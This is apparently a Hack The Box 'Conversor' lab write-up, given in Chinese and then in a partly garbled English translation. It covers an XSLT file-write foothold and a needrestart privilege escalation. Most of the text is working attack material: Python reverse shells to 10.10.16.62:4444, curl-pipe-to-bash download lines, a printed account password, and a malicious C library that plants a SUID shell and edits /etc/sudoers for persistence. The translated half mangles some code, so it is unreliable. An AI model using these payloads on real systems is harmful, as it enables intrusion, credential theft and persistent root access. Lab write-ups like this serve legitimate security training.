htb conversor

OS:Linux

Easy

Foothold:
浏览Web---发现源代码---查看源代码发现xslt未安全设置---上传xslt获得Foothold
PrivEsc:
在users.db发现ssh凭据---sudo发现needrestart---查询网站就可升级权限

Recon

# Nmap 7.95 scan initiated Sat Nov 29 02:04:36 2025 as: /usr/lib/nmap/nmap --open -A -Pn -T4 -oN nmap_scan.txt 10.10.11.92
Nmap scan report for 10.10.11.92
Host is up (2.1s latency).
Not shown: 953 closed tcp ports (reset), 45 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   686.14 ms 10.10.16.1
2   76.71 ms  10.10.11.92

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 02:06:17 2025 -- 1 IP address (1 host up) scanned in 100.77 seconds

Web

/about中下载源码

发现xslt没有设置安全过滤。存在漏洞

并且发现数据库

image 79.png

Foothold

image 80.png

我们发现系统每分钟会运行目录/var/www/conversor.htb/scripts/的所有.py文件。

攻击思路:上传.py文件到/var/www/conversor.htb/scripts/

上传payload

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/shell1_adwasdawdasdawd.py" method="text">
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.62",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

其他payload

import os; os.system("curl 10.10.16.62:8000/shell.sh|bash")
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl 10.10.16.62:8000/shell.sh|bash")
        </shell:document>
    </xsl:template>

</xsl:stylesheet>

即可获取www-data的访问权限

访问instance下的数据库user.db可以得到:fismathack:Keepmesafeandwarm

PrivEsc

ssh fismathack@10.10.11.92

image 81.png

搜索网页后根据文章可以构造payload:

我们需要构造这样的结构
┌──(kali㉿kali)-[/tmp/needrestart]
└─$ tree .                     
.
├── importlib
│   └── __init__.py
└── main.py

2 directories, 2 files
mkdir -p /tmp/needrestart/importlib
cd /tmp/needrestart
echo -e "while True:\n\tpass" > main.py
cd /tmp/needrestart/importlib
echo 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.62",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > __init__.py
sleep 3
export PYTHONPATH=/tmp/needrestart
python3 /tmp/needrestart/main.py &
echo -e 'exploit!!!!!\nplease run nc in attacker and run needrestart as sudo in target'  

其他payload

/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This is a GCC attribute that marks 'a()' as a constructor. */
/* This function will run AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* Only run if we are root */
    if(geteuid() == 0) { 
        setuid(0);
        setgid(0);
        
        /* The payload:
           1. Copy the bash shell to /tmp/poc
           2. Make /tmp/poc a SUID binary (owned by root, runs as root)
           3. Add a sudoers rule as a backup persistence method
        */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

gcc -shared -fPIC -o __init__.so lib.c

上传__init__.so到目标后

在目标创建

#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

# 2. Download our compiled C payload from our attacker server
#    (Replace 10.10.14.81 with your attacker IP)
curl http://10.10.14.81:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

# 3. Create the "bait" Python script (e.py)
#    This script just loops, waiting for the exploit to work
cat << 'EOF' > /tmp/malicious/e.py
import time
import os

while True:
    try:
        import importlib
    except:
        pass
    
    # When our C payload runs, it creates /tmp/poc
    # This loop waits for that file to exist
    if os.path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        # The C payload also added a sudoers rule.
        # We use that rule to pop our root shell.
        os.system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

# 4. This is the magic!
#    Run the bait script (e.py) with the PYTHONPATH hijacked.
#    This process will just sit here, waiting for needrestart to scan it.
echo "Bait process is running. Trigger 'sudo /usr/sbin/needrestart' in another shell."
cd /tmp/malicious; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

htb Conversor

OS: Linux
Difficulty: Easy

Initial Steps (Foothold):

  • Browse the website to find the source code.
  • Upon reviewing the source code, it is discovered that the xslt component has security vulnerabilities.
  • Upload the xslt file to gain access to the system.

Privilege Escalation (PrivEsc):

  • Locate the SSH credentials in the users.db file.
  • Use sudo to escalate privileges.
  • By querying the website, additional privileges can be obtained for further exploitation.

Reconnaissance (Recon):

# Nmap scan started on Saturday, November 29, 2025, at 02:04:36  
nmap 7.95 scan initiated:  
    /usr/lib/nmap/nmap --open -A -Pn -T4 -oN nmap_scan.txt 10.10.11.92  

Nmap scan report for 10.10.11.92:

  • The host is online (latency: 2.1 seconds).
  • 953 TCP ports are closed; 45 TCP ports are filtered (no response).
  • Some closed ports may be shown as filtered due to the --defeat-rst-ratelimit option.

Port Details:

PORT   STATE SERVICE VERSION  
22/tcp   open     ssh      OpenSSH 8.9p1    Ubuntu 3ubuntu0.13  
| ssh-hostkey:  
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)  
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)  
80/tcp   open     http     Apache httpd 2.4.52  
|_http-server-header: Apache/2.4.52 (Ubuntu)  
|_http-title: Did not follow redirect to http://conversor.htb/  
  • Device type: General purpose.
  • Operating system: Linux (version 4.X or 5.X).
  • OS CPE (Common Platform Enumeration): cpe:/o:linux:linux_kernel:4 or cpe:/o:linux:linux_kernel:5.
  • OS details: Linux 4.15–5.19.
  • Network distance: 2 hops.

Traceroute (using port 22/tcp):

HOP     RTT       ADDRESS  
1    686.14 ms   10.10.16.1  
2    76.71 ms   10.10.11.92  

OS and service detection completed. Please report any incorrect results at: https://nmap.org/submit/.

Web Analysis:

  • The source code was downloaded from the “about” section of the website.
  • Security filters are not implemented in the xslt component, indicating a vulnerability.
  • A database was also identified during the scan.

![Image 79.png](image 79.png)

Foothold

image 80.png

We have discovered that the system executes all.py files in the /var/www/conversor.htb/scripts/ directory every minute.

Attack Strategy: Upload a.py file to /var/www/conversor.htb/scripts/.

Payloads Used:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/shell1_adwasdawdasdawd.py" method="text">
        import socket, subprocess, os
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.16.62", 4444))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Another Payload:

<?xml version="10.0" encoding="UTF-8"?>
<xsl:stylesheet
    version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:shell="http://exslt.org/common"
    extension-element-prefixes="shell">

    <xsl:template match="/">
        <shell:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
            import os
            os.system("curl 10.10.16.62:8000/shell.sh|bash")
        </shell:document>
    </xsl:template>
</xsl:stylesheet>

Using these payloads allows us to gain access to the www-data resource.

By accessing the user.db database within the instance, we can obtain the password: fismathack:Keepmesafeandwarm.

PrivEsc

ssh fismathack@10.10.11.92

image 81.png

After searching the web, you can construct the payload according to the article:

We need to create the following structure:
┌──(kali㉿kali)-[/tmp/needrestart]
└─$ tree .
.
├── importlib
│   └── __init__.py
└── main.py

2 directories, 2 files
mkdir -p /tmp/needrestart/importlib
cd /tmp/needrestart
echo -e "while True:\n\tpass" > main.py
cd /tmp/needrestart/importlib
echo 'import os,pty,socket;s=socket.socket();s.connect(("10.10.16.62",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' > __init__.py
sleep 3
export PYTHONPATH=/tmp/needrestart
python3 /tmp/needrestart/main.py &
echo -e 'exploit!!!!!\nPlease run nc in the attacker's machine and run “needrestart” as sudo on the target machine.'

Another payload:

/* lib.c - Our malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

/* This GCC attribute marks ‘a()’ as a constructor. */
/* This function will be executed AUTOMATICALLY when the library is loaded. */
static void a() __attribute__((constructor));

void a() {
    /* This code only runs if the user is root */
    if (geteuid() == 0) {
        setuid(0);
        setgid(0);

        /* The payload includes the following steps: */
        /* 1. Copy the bash shell to /tmp/poc */
        /* 2. Make /tmp/poc a SUID binary (owned by root and executable by root) */
        /* 3. Add a sudoers rule as a backup for persistence */
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
        system(shell);
    }
}

Compile the library: gcc -shared -fPIC -o __init__.so lib.c

Upload the init.so file to the target system.

On the target system, create the necessary directory structure:

#!/bin/bash
set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

2. Download our compiled C payload from our attacker server

(Replace 10.10.14.81 with your attacker’s IP address)

curl http://10.10.14.81:8000/__init__.so -o /tmp/malicious/importlib/init.so

3. Create the “bait” Python script (e.py)

This script simply runs in a loop, waiting for the exploit to be executed.

cat << ‘EOF’ > /tmp/malicious/e.py import time import os

while True: try: import importlib except: pass

# When our C payload is executed, it creates a file called /tmp/poc.
# This loop checks if that file exists.
if os.path.exists("/tmp/poc"):
    print("We’ve gained access to a shell! Delete the traces in /tmp/poc and /tmp/malicious.")
    # The C payload also adds a sudoers rule, which we use to obtain root privileges.
    os.system("sudo /tmp/poc -p")
    break
time.sleep(1)

EOF

4. This is the crucial step:

Run the bait script (e.py) with the PYTHONPATH environment variable altered to point to the attacker’s malicious directory.

The script will remain running until it needs to be restarted to perform the next scan.

echo “The bait script is running. Trigger ‘sudo /usr/sbin/needrestart’ in another shell.” cd /tmp/malicious; PYTHONPATH=“$PWD” python3 e.py 2>/dev/null